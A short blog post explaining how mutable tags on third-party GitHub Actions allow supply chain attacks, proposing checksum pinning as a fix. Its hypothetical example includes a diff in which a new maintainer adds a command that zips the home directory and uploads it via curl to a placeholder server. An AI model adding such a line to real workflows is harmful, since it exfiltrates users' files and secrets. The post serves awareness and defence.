GitHub Actions beg for a supply chain attack

When the GitHub Actions runner sees

- name: Clone repository
  uses: actions/checkout@v4

it git clones the checkout repository of the actions user/organization on GitHub and then switches to the git tag named v4. The actions org is maintained by GitHub staff, so we trust it to be secure and well-behaved.

Recently though, a cool new framework is taking off. It’s called foo. Your company decides to build a project with it and one of your tasks in the current sprint is to set up a CI pipeline. Fortunately, the open-source community delivers once again; you quickly discover that somebody has already created an Action to make setup easy:

- name: Set up Foo
  uses: alice/setup-foo@v2

Some time later alice stops maintaining the setup-foo action, but she wants the Action to live on, so she appoints a new friendly person who’s been around the repo for a while and contributed a few PRs. That’s how malloy becomes the maintainer of setup-foo.

Some time later, malloy makes a new release of setup-foo with the following code:

 #!/usr/bin/env sh
 echo "imagine there is shell code here"
+cd ~ && zip -r nothing_really.zip .
+curl \
+  --request POST https://totally-legit-server.ru \
+  --form "file=@$HOME/nothing_really.zip"
+cd -
 echo "legit shell code"
 echo "more legit shell code"

The change is introduced in a commit with the message “bump deps” that removes 6969 and adds 2137 lines of code to many files, mostly package-lock.json. Then malloy releases this new version as v2.1:

git commit -m "bump deps" && git push origin master
git tag v2.1

and then he moves the v2 tag to point to the same commit as v2.1, just like GitHub recommends:

git tag --delete v2 # delete tag locally
git push origin :v2 # delete tag on the remote
git tag v2
git push --tags

It’s a Friday night. Hundreds of thousands of nightly builds run, in thousands of repositories, including private ones.

No one notices anything for a few days.


My knowledge of the cybersecurity landscape is very basic, but I suppose a solution could be for GitHub to deprecate the current way of using external actions, and require us to provide a checksum:

- name: Set up Foo
  uses: alice/setup-foo@v2
  sha256: ea3a03b4971eeb62730e1de238225cc4e6145f0eb50ad28b1379f2a2ee71e16e

The problem with the above is twofold:


I maintain the GiHub Actions called subosito/flutter-action1. If you enjoyed the read, consider sending me a few bucks for coffee. I pinky promise to never perform a supply chain attack on you.


2024-05-11 – GitHub Actions beg for a supply chain attack
2024-03-19 – Writing a custom Dart VM service extension (part 1)
2024-02-08 – On using smartphone for things that make sense
2023-11-30 – Semantics in Flutter - under the hood
2023-11-25 – Flutter Engine notes
2023-09-17 – Creating and managing Android Virtual Devices using the terminal
2023-05-27 – Suckless Android SDK setup
2023-05-26 – Let’s start over
2023-05-21 – Short thought on “The Zen of Unix”
2023-05-15 – Notes about “flutter assemble”


  1. It should be named setup-flutter.↩︎